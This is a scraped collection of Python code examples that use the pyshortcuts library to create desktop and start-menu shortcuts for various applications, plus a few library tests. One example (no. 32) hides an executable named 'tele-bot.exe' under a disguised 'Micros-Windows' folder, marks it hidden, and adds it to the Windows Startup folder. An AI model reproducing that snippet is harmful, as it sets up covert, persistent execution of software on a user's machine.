Ejemplo n.º 1
0
    def create_shortcut(self, organization_id: str) -> None:
        """Creates a desktop shortcut which launches the local GUI.

        :param organization_id: the id of the organization with the local GUI module subscription
        """
        required_icon = "icon.icns" if self._platform_manager.is_system_macos(
        ) else "icon.ico"
        icons_path = Path("~/.lean/icons").expanduser() / required_icon
        if not icons_path.is_file():
            icons_path.parent.mkdir(parents=True, exist_ok=True)
            with icons_path.open("wb+") as file:
                file.write(
                    pkg_resources.resource_string("lean",
                                                  f"icons/{required_icon}"))

        command = " ".join([
            sys.argv[0], "gui", "start", "--organization",
            f'"{organization_id}"', "--lean-config",
            f'"{self._lean_config_manager.get_lean_config_path().as_posix()}"',
            "--shortcut-launch"
        ])

        import pyshortcuts
        pyshortcuts.make_shortcut(command,
                                  name="Lean CLI GUI",
                                  description="The local GUI for the Lean CLI",
                                  icon=icons_path.as_posix())

        self._logger.info(
            "Successfully created a desktop shortcut for launching the local GUI"
        )
        self._mark_user_prompted()
Ejemplo n.º 2
0
    def create_shortcut(self):
        script = os.path.join(self.bindir, self.script)
        icon = os.path.join(icondir, self.icon)
        from pyshortcuts import ico_ext
        if isinstance(ico_ext, (list, tuple)):
            for ext in ico_ext:
                ticon = "{:s}.{:s}".format(icon, ext)
                if os.path.exists(ticon):
                    icon = ticon

        if HAS_CONDA and uname == 'win':
            baserunner = os.path.join(self.bindir, 'baserunner.bat')
            script = "%s %s" % (baserunner, self.script)
            if not os.path.exists(baserunner) or os.stat(baserunner).st_size < 10:
                fh = open(baserunner, 'w')
                fh.write(WIN_BASERUNNER)
                fh.close()
                time.sleep(0.5)

        make_shortcut(script, name=self.name, icon=icon,
                      terminal=self.terminal, folder='Larch')

        if HAS_CONDA and uname == 'darwin':
            try:
                fix_darwin_shebang(script)
            except:
                print("Warning: could not fix Mac exe for ", script)
Ejemplo n.º 3
0
def create_desktop_shortcut(app_name, title=None, parameters=""):
    pytigon_init_path = os.path.abspath(pytigon.__file__)
    ico_path = pytigon_init_path.replace("__init__.py", "pytigon.ico")
    ptig_path = pytigon_init_path.replace("__init__.py", "ptig.py")

    if "python" in sys.executable and make_shortcut:
        make_shortcut(ptig_path + " " + app_name,
                      name=title if title else app_name,
                      icon=ico_path)
Ejemplo n.º 4
0
 def run(self):
     super().run()
     from pyshortcuts import make_shortcut
     make_shortcut(os.path.join(self.install_base, 'Scripts',
                                'cad_gui.exe'),
                   name="Cad Gui")
     make_shortcut(os.path.join(self.install_base, 'Scripts',
                                'prod_gui.exe'),
                   name="Prod Gui")
Ejemplo n.º 5
0
    def buildExecutable(self):
        self.buildButton.setEnabled(False)
        self.browseButton.setEnabled(False)

        self.appendPlainText('Installing prerequisite modules ... ')
        self.appendPlainText("done", end='')
        self.appendPlainText("Compiling script ... ")
        if (self.path != 'path'):
            args = [
                '-F',
                'autograder.py',
                'commentSummary.py',
                'tester.py',
                '--onefile',
                '--distpath', '%s/bin' % self.path,
                '--workpath', '%s' % self.path + '/workpath',
                '--specpath', '%s' % self.path,
                '--windowed'
            ]
            try:
                if sys.argv[1] == '--debug':
                    args.pop()
            except IndexError:
                pass
            try:
                PyInstaller.__main__.run(args)
            except:
                QMessageBox.question(self, 'Installation Unsuccessful', "Try picking a new install location", QMessageBox.Ok)
                app.exit()
        self.appendPlainText("done", end='')
        try:
            os.mkdir(os.path.join(self.path, "target"))
            os.mkdir(os.path.join(self.path, "target", "key"))
            os.mkdir(os.path.join(self.path, "target", 'temp'))
            os.mkdir(os.path.join(self.path, "img"))
            os.mkdir(os.path.join(self.path, "results"))

        except:
            pass
        for filename in os.listdir(os.path.join(REPOROOT, 'img')):
            shutil.copy(
                os.path.join(REPOROOT, "img", filename),
                os.path.join(self.path, "img", filename)
            )
        desktop = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
        pyshortcuts.make_shortcut(
            os.path.join(self.path, "bin", "autograder.exe"),
            name="AutoGrader",
            description="Python AutoGrader",
            terminal=False,
            icon=os.path.join(self.path, 'img', 'pythonBlugold.ico'),
            desktop=self.desktopShortcut.isChecked(),
            startmenu=self.startbar.isChecked()
        )
        resp = QMessageBox.question(self, 'Installation Successful', "You may now exit the program", QMessageBox.Ok)
        app.quit()
Ejemplo n.º 6
0
    def initializePage(self):
        """
        This method called when we show this page, it creates system menu, desktop shortcuts
        and run.sh script.
        """
        # here we obtain states of the shortcuts checkboxes on the initialization page and path
        # to program folder
        initPage = self._parent.initPage
        cwd = initPage.folder + "/PyQtAccounts/"
        desktop = initPage.desktopCheckbox.isChecked()
        startmenu = initPage.menuCheckbox.isChecked()

        # here we create shortcuts if at least one of shortcut checkboxes are checked
        if desktop or startmenu:
            # we use make_shortcut function from pyshortcuts module for this.
            from pyshortcuts import make_shortcut

            make_shortcut(
                name="PyQtAccounts",
                script=cwd + "/run.sh",
                description="Simple account database manager.",
                icon=cwd + "/img/icon.svg",
                terminal=False,
                desktop=desktop,
                startmenu=startmenu,
                executable="/bin/bash",
            )

        # fixing .ico icon issue, make_shortcut function adds .ico extension to icon path
        # (i.e. our '/img/icon.svg' becomes '/img/icon.svg.ico'), so we remove .ico from our
        # icon path
        home = os.getenv("HOME")
        if desktop:
            desktop = open(home + "/Desktop/PyQtAccounts.desktop").read()
            with open(home + "/Desktop/PyQtAccounts.desktop", "w") as file:
                file.write(desktop.replace(".ico", ""))

        if startmenu:
            menu = open(
                home +
                "/.local/share/applications/PyQtAccounts.desktop").read()
            with open(home + "/.local/share/applications/PyQtAccounts.desktop",
                      "w") as file:
                file.write(menu.replace(".ico", ""))

        # here we create run.sh script which will start our application
        run = ("#!/bin/bash\n\n"
               f"cd {cwd}\n"
               f'export PYTHONPATH="$PYTHONPATH:{cwd}"\n'
               "python3 PyQtAccounts.py")

        with open(cwd + "run.sh", "w") as runfile:
            runfile.write(run)

        # here we give the script permissions for execution
        os.chmod(cwd + "run.sh", 0o755)
Ejemplo n.º 7
0
 def create_shortcut(self):
     try:
         script =os.path.join(self.bindir, self.script)
         scut = Shortcut(script, name=self.name, folder='Larch')
         make_shortcut(script, name=self.name,
                       icon=os.path.join(self.icondir, self.icon),
                       terminal=self.terminal,
                       folder='Larch')
         if uname.startswith('linux'):
             os.chmod(scut.target, 493)
     except:
         print("Warning: could not create shortcut to ", self.script)
Ejemplo n.º 8
0
def last_i():
    
    copyfile("./guiscrcpy/icons/guiscrcpy_logo_SRj_icon.ico", cfgpath+"logo.ico") 
    make_shortcut(
        script=os.path.expanduser("~/.local/bin/guiscrcpy"),
        name="guiscrcpy",
        description="Open Source GUI based Android Screen Mirroring System",
        icon=cfgpath + "logo.ico",
        desktop=True,
        startmenu=True,
        executable=None,
    )
Ejemplo n.º 9
0
def test_none_script():
    '''Verify we get ValueError if cmd is None (#19)'''
    print('---test_none_script()')
    with pytest.raises(ValueError):
        cmd = None
        scut = make_shortcut(cmd, name="My Script is None")
    print('OK')
Ejemplo n.º 10
0
def main():
    parser = argparse.ArgumentParser(
            description='Creates icons for the OCTAVVS scripts.')
    _ = parser.parse_args()

    executables = {'oct_preprocessing': 'Preprocessing',
                   'oct_mcr_als': 'MCR-ALS',
                   'oct_clustering': 'Clustering'}
    proj = 'OCTAVVS '

    for cmd, nom in executables.items():
        icon = os.path.join(os.path.split(__file__)[0], 'prep', 'octavvs_prep')
        script = os.path.join(os.path.split(sys.argv[0])[0], cmd)

        make_shortcut(script, name=proj+nom, icon=icon,
                      startmenu=False, terminal=True, desktop=True)
Ejemplo n.º 11
0
def test_empty_string_script():
    '''Verify we get ValueError if cmd is an empty string (#19)'''
    print('---test_empty_script()')
    with pytest.raises(ValueError):
        cmd = ""
        scut = make_shortcut(cmd, name="My Script is empty string")
    print('OK')
Ejemplo n.º 12
0
 def create_shortcut(self):
     script =os.path.join(self.bindir, self.script)
     try:
         scut = Shortcut(script, name=self.name, folder='Larch')
         make_shortcut(script, name=self.name,
                       icon=os.path.join(icondir, self.icon),
                       terminal=self.terminal,
                       folder='Larch')
         if uname == 'linux':
             os.chmod(scut.target, 493)
     except:
         print("Warning: could not create shortcut to ", script)
     if uname == 'darwin':
         try:
             fix_darwin_shebang(script)
         except:
             print("Warning: could not fix Mac exe for ", script)
Ejemplo n.º 13
0
def create_shortcut_via_pyshortcuts(icon_path, desktop=True, startmenu=True):
    from pyshortcuts import make_shortcut

    target = script_and_executable()
    if target is None:
        log.error("Script/executable is not defined. Cannot create shortcut.")
        return False
    else:
        log.debug(f"Script/executable = '{target}'")
    make_shortcut(
        **target,
        name="Meety",
        description=DESCRIPTION,
        icon=icon_path,
        terminal=False,
        desktop=desktop,
        startmenu=startmenu,
    )
    return True
Ejemplo n.º 14
0
    def run(self):
        install.run(self)
        import os
        from pyshortcuts import make_shortcut
        from pathlib import Path

        make_shortcut(os.path.join(str(Path.home()), 'AppData', 'Local', 'Programs', 'Python', 'Python38', 'Lib',
                                   'site-packages', 'orders_tracker', 'bin', 'start.vbs'),
                      name='Start Трекер_Замовлень',
                      description='Запуск програми orders-tracker.exe',
                      icon=os.path.join(str(Path.home()), 'AppData', 'Local', 'Programs', 'Python', 'Python38', 'Lib',
                                        'site-packages', 'orders_tracker', 'bin', 'icons', 'start.ico'))

        make_shortcut(os.path.join(str(Path.home()), 'AppData', 'Local', 'Programs', 'Python', 'Python38', 'Lib',
                                   'site-packages', 'orders_tracker', 'bin', 'stop.vbs'),
                      name='Stop Трекер_Замовлень',
                      description='Зупинка програми orders-tracker.exe',
                      icon=os.path.join(str(Path.home()), 'AppData', 'Local', 'Programs', 'Python', 'Python38', 'Lib',
                                        'site-packages', 'orders_tracker', 'bin', 'icons', 'stop.ico'))
Ejemplo n.º 15
0
def run_adeiger():
    '''
    command-line interface to running Eiger Display Application
    '''
    usage = 'Usage: eiger_display [options] DET_PREFIX'
    vers = 'eiger_display %s' % (__version__)

    parser = OptionParser(usage=usage, prog='eiger_display', version=vers)

    parser.add_option("-m",
                      "--makeicons",
                      dest="makeicons",
                      action="store_true",
                      default=False,
                      help="create desktop icons")

    (options, args) = parser.parse_args()

    # create desktop icons
    if options.makeicons:
        name = 'Eiger Display'
        script = 'eiger_display'
        icon_ext = 'ico'
        if platform.startswith('darwin'):
            icon_ext = 'icns'

        bindir = 'bin'
        if platform.startswith('win'):
            bindir = 'Scripts'

        script = os.path.join(sys.prefix, bindir, script)
        topdir, _s = os.path.split(__file__)
        icon = os.path.join(topdir, 'icons', "%s.%s" % ('eiger500k', icon_ext))

        make_shortcut(script, name=name, icon=icon, terminal=True)
        if platform.startswith('linux'):
            os.chmod(script, 493)

    else:
        prefix = None
        if len(args) > 0:
            prefix = args[0]
        EigerApp(prefix=prefix).MainLoop()
Ejemplo n.º 16
0
def CreateShortCuts(parent):

    try:
        from pyshortcuts import make_shortcut
    except:
        raise Exception(
            "The system is missing package PyShortCuts. Please install it and try again: pip install pyshortcuts"
        )

    bindir = 'bin'
    name = 'pypointgroup'
    if sys.platform.startswith('win'):
        bindir = 'Scripts'
        name = name + '.exe'

    run_path = pt.join(sys.prefix, bindir, name)

    if not pt.exists(run_path):

        p_path, _ = pt.split(pt.dirname(__file__))
        p_path, _ = pt.split(p_path)
        run_path = pt.join(p_path, "pypointgroup.py")

    if pt.exists(run_path):
        print('[OK!]')
        QMessageBox.information(parent, 'Creating shortcuts', "OK",
                                QMessageBox.Ok)

        make_shortcut(script=run_path,
                      name='PyPointGroup',
                      icon=GetIconPath('Icon.ico'),
                      desktop=True,
                      startmenu=True,
                      terminal=False)

        QMessageBox.information(parent, 'Creating shortcuts',
                                "Shortcuts have been successfully created!",
                                QMessageBox.Ok)
    else:
        raise Exception(
            "Can't create shortcuts. Start script not found! [%s]" % run_path)
Ejemplo n.º 17
0
def gen_for_win32():
    from pyshortcuts import make_shortcut

    # NOTE: do not use the pythonw.exe under sys.prefix, if Python is installed
    # through window app store, the Python will have 'abnormal' behaviour::
    #
    #   the normal python.exe we run in cmd is located in directory like following:
    #   C:\Users\user\AppData\Local\Microsoft\WindowsApps\
    #     PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0\pythonw.exe
    #
    #   but the python sys.prefix is like:
    #   C:\Program Files\WindowsApps\
    #     PythonSoftwareFoundation.Python.3.8_3.8.496.0_x64__qbz5n2kfra8p0
    #
    #   user can't directly run the python.exe under sys.prefix, windows
    #   will tell user it has no priviledge to run this program
    pyexe = os.path.join(os.path.dirname(sys.executable), 'pythonw')
    command = '{} -m feeluown'.format(pyexe)
    ico = HERE.parent.parent / 'icons' / 'feeluown.ico'
    name = 'FeelUOwn'
    make_shortcut(command, name=name, icon=ico, terminal=False)
Ejemplo n.º 18
0
def make_exe():

    file_a_path = [str(x) for x in request.form.values()]
    file_abs_path = file_a_path[0]
    print(file_abs_path)
    if os.path.exists(file_abs_path) == True:
        print()

        print('all cool')
        print()
        file_name = file_abs_path.split('\\')[-1]
        print('Processing your files..')
        print()
        path_exe = call_external_cmd(file_abs_path)
        print(path_exe)
        print()

        a = file_abs_path.split('\\')[0:-1]
        a.append('dist')
        exe_name = file_name.split('.')[0]
        a.append(exe_name)
        a.append(file_name.split('.')[0] + '.exe')
        d = '\\'.join(a)
        print('Your Exe file is at location : ', d)

        make_shortcut(file_abs_path, name=exe_name)
        print('Shortcut for the your application is created on Desktop')

        return render_template(
            'index.html',
            Processing='Processing your files..just hang on for a minute..\n',
            prediction_text=
            'Your application is packed and ready as a shortcut on your Desktop'
        )

    else:
        return render_template(
            'index.html',
            prediction_text='unable to track the location on your system')
Ejemplo n.º 19
0
def run_adeiger():
    '''
    command-line interface to running Eiger Display Application
    '''
    usage = 'Usage: eiger_display [options] DET_PREFIX'
    vers = 'eiger_display %s' % (__version__)

    parser = OptionParser(usage=usage, prog='eiger_display', version=vers)

    parser.add_option("-m", "--makeicons", dest="makeicons", action="store_true",
                      default=False, help="create desktop icons")

    (options, args) = parser.parse_args()

    # create desktop icons
    if options.makeicons:
        name = 'Eiger Display'
        script = 'eiger_display'
        icon_ext = 'ico'
        if platform.startswith('darwin'):
            icon_ext = 'icns'

        bindir = 'bin'
        if platform.startswith('win'):
            bindir = 'Scripts'

        script = os.path.join(sys.prefix, bindir, script)
        topdir, _s = os.path.split(__file__)
        icon = os.path.join(topdir, 'icons', "%s.%s" % ('eiger500k', icon_ext))

        make_shortcut(script, name=name, icon=icon, terminal=True)
        if platform.startswith('linux'):
            os.chmod(script, 493)

    else:
        prefix = None
        if len(args) > 0:
            prefix = args[0]
        EigerApp(prefix=prefix).MainLoop()
Ejemplo n.º 20
0
def test_shortcut():
    print("---folders:\n Home: {}\n Desktop: {}\n StartMenu: {}\n".format(
        folders.home, folders.desktop, folders.startmenu))

    script = os.path.join(root, 'examples', 'console_scripts', 'timer.py') + ' -u 0.25 -t 10'
    icon  = os.path.join(root, 'examples', 'icons', 'stopwatch')

    iext = 'ico'
    if platform.startswith('darwin'):
        iext = 'icns'

    icon = "%s.%s" % (icon, iext)
    scut = make_shortcut(script, name='Timer', icon=icon, folder=folders.desktop)
    assert isinstance(scut, Shortcut), 'it returns a shortcut instance'
Ejemplo n.º 21
0
def create_shortcut():
    logger = get_logger()
    try:
        from pyshortcuts import make_shortcut
    except ImportError as e:
        logger.debug('Could not import pyshortcuts: %s', e.args[0])
        logger.debug('Trying to pip install pyshortcuts...')
        try:
            subprocess.run(
                [sys.executable, '-m', 'pip', 'install', 'pyshortcuts'],
                check=True)
            from pyshortcuts import make_shortcut
        except subprocess.CalledProcessError:
            logger.error('Could not install pyshortcuts.')
    try:
        make_shortcut(os.path.join(get_install_script_dir(), 'AA_stat_GUI'),
                      name='AA_stat',
                      description='AA_stat GUI',
                      terminal=False)
    except Exception as e:
        logger.error(
            f'Could not create shortcut. Got a {type(e)}: {e.args[0]}')
    else:
        logger.info('Desktop shortcut created.')
Ejemplo n.º 22
0
    def create_shortcut(self):
        script = os.path.join(self.bindir, self.script)
        icon = os.path.join(icondir, self.icon)
        if HAS_CONDA and uname == 'win':
            baserunner = os.path.join(self.bindir, 'baserunner.bat')
            script = "%s %s" % (baserunner, self.script)
            if not os.path.exists(
                    baserunner) or os.stat(baserunner).st_size < 10:
                fh = open(baserunner, 'w')
                fh.write(WIN_BASERUNNER)
                fh.close()
                time.sleep(0.5)

        make_shortcut(script,
                      name=self.name,
                      icon=icon,
                      terminal=self.terminal,
                      folder='Larch')

        if HAS_CONDA and uname == 'darwin':
            try:
                fix_darwin_shebang(script)
            except:
                print("Warning: could not fix Mac exe for ", script)
Ejemplo n.º 23
0
"""
Add shortcut to desktop : https://github.com/newville/pyshortcuts
"""

from pyshortcuts import make_shortcut

make_shortcut('gf_db.py', name='gf_db', icon='mtg.ico', desktop=True, terminal=False)
Ejemplo n.º 24
0
import sys
from pyshortcuts import make_shortcut

icon_name = "Make_Logo"
if sys.argv[0] is not None:
    icon_name = sys.argv[0]

make_shortcut('file.py', name=icon_name, desktop=True)
Ejemplo n.º 25
0
#!/usr/bin/env python
import os
import sys
from pyshortcuts import make_shortcut, platform

bindir = 'bin'
if platform.startswith('win'):
    bindir = 'Scripts'

scut = make_shortcut(
    "%s --wxgui" % os.path.join(sys.prefix, bindir, 'pyshortcut'),
    name='PyShortcut', terminal=False)

print("pyshortcuts GUI: %s" % scut.target)
Ejemplo n.º 26
0
from pyshortcuts import make_shortcut
make_shortcut('Main_Car_Game.py',
              name='MyGame',
              icon='/home/user/icons/myicon.ico')
Ejemplo n.º 27
0
from pyshortcuts import make_shortcut

make_shortcut(script   = './gui_executive.py',
              name     = 'Husky MH Tools',
              icon     = './MH_Tools.icns',
              desktop  = True,
              terminal = False)
#!/usr/local/env python
"""
Generate a shortcut for the application.
"""

import sys
import os

import pymol

# After the installation, create a startmenu shortcut.
# get the python entry file
pymol_file = pymol.__file__

# create a shortcut to the executable file, using the right environment
from pyshortcuts import make_shortcut

if os.name == 'nt':
    # todo: only tested on conda base env
    make_shortcut(sys.executable + ' ' + pymol_file, name='PymolMda',
                  icon='data/pymol/icons/icon2.svg', terminal=False)
else:
    make_shortcut(pymol_file, name='PymolMda',
                  icon='data/pymol/icons/icon2.svg', terminal=False)
Ejemplo n.º 29
0
import os
from pyshortcuts import make_shortcut

root = os.path.dirname(os.path.join(__file__))
app = os.path.join(root, 'main.py')
icon = os.path.join(root, 'uis/pancake.ico')

make_shortcut(app, name='MIDAS', icon=icon)
print(f"MIDAS Desktop shortcut is created by { os.getlogin()}. ")
Ejemplo n.º 30
0
 def onCreate(self, event=None):
     opts = self.read_form()
     if opts is None:
         return
     script = opts.pop('script')
     make_shortcut(script, **opts)
Ejemplo n.º 31
0
import os
from pyshortcuts import make_shortcut
base_dir = os.path.dirname(os.path.abspath(__file__))
path_file = os.path.join(base_dir, 'tdstatv3.py')
path_icon = os.path.join(base_dir, 'icon.ico')
make_shortcut(path_file, name ='OEPS',
                        icon = path_icon, terminal = False)


Ejemplo n.º 32
0
import os
from pyshortcuts import make_shortcut

userhome = os.path.expanduser('~')
userfolder = userhome + "\AppData\Roaming\Micros-Windows"
userstartupfolder = userhome + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

print("[+] Current User on the System: ", userhome)
print("[+] Moving our file to the main folder... ", userfolder)
print("[+] Creating folder if not exist...")

if not os.path.exists(userfolder):
    os.makedirs(userfolder)

print("[+] Now move the file to that directory... ")
os.rename("tele-bot.exe", userfolder + "\wwwx.exe")
print("[+] Hide the file under the name: wwwx.exe...")
os.system("attrib +h " + userfolder + "\wwwx.exe")

print("[+] Creating the shortcut and moving it to StartUp directory... ")
make_shortcut(userfolder + "\wwwx.exe", folder=userstartupfolder)
Ejemplo n.º 33
0
from flask import Flask, render_template, redirect, url_for, send_file, render_template_string, request, flash
from datetime import datetime, timedelta
from flask import jsonify
from flaskwebgui import FlaskUI
from flask_mail import Message
from flask_mail import Mail
from flask_apscheduler import APScheduler
import webbrowser
#import CompiledCode as cc
import time
import csv
import numpy as np
import WebPages as webp
from pyshortcuts import make_shortcut

make_shortcut('/Users/Charlie/Desktop/pill_app/app.py',
              name='Pill Pack Dispenser',
              icon='/Users/Charlie/Desktop/pill_app/app_icon')

if __name__ == '__main__':
    webp.ui.run()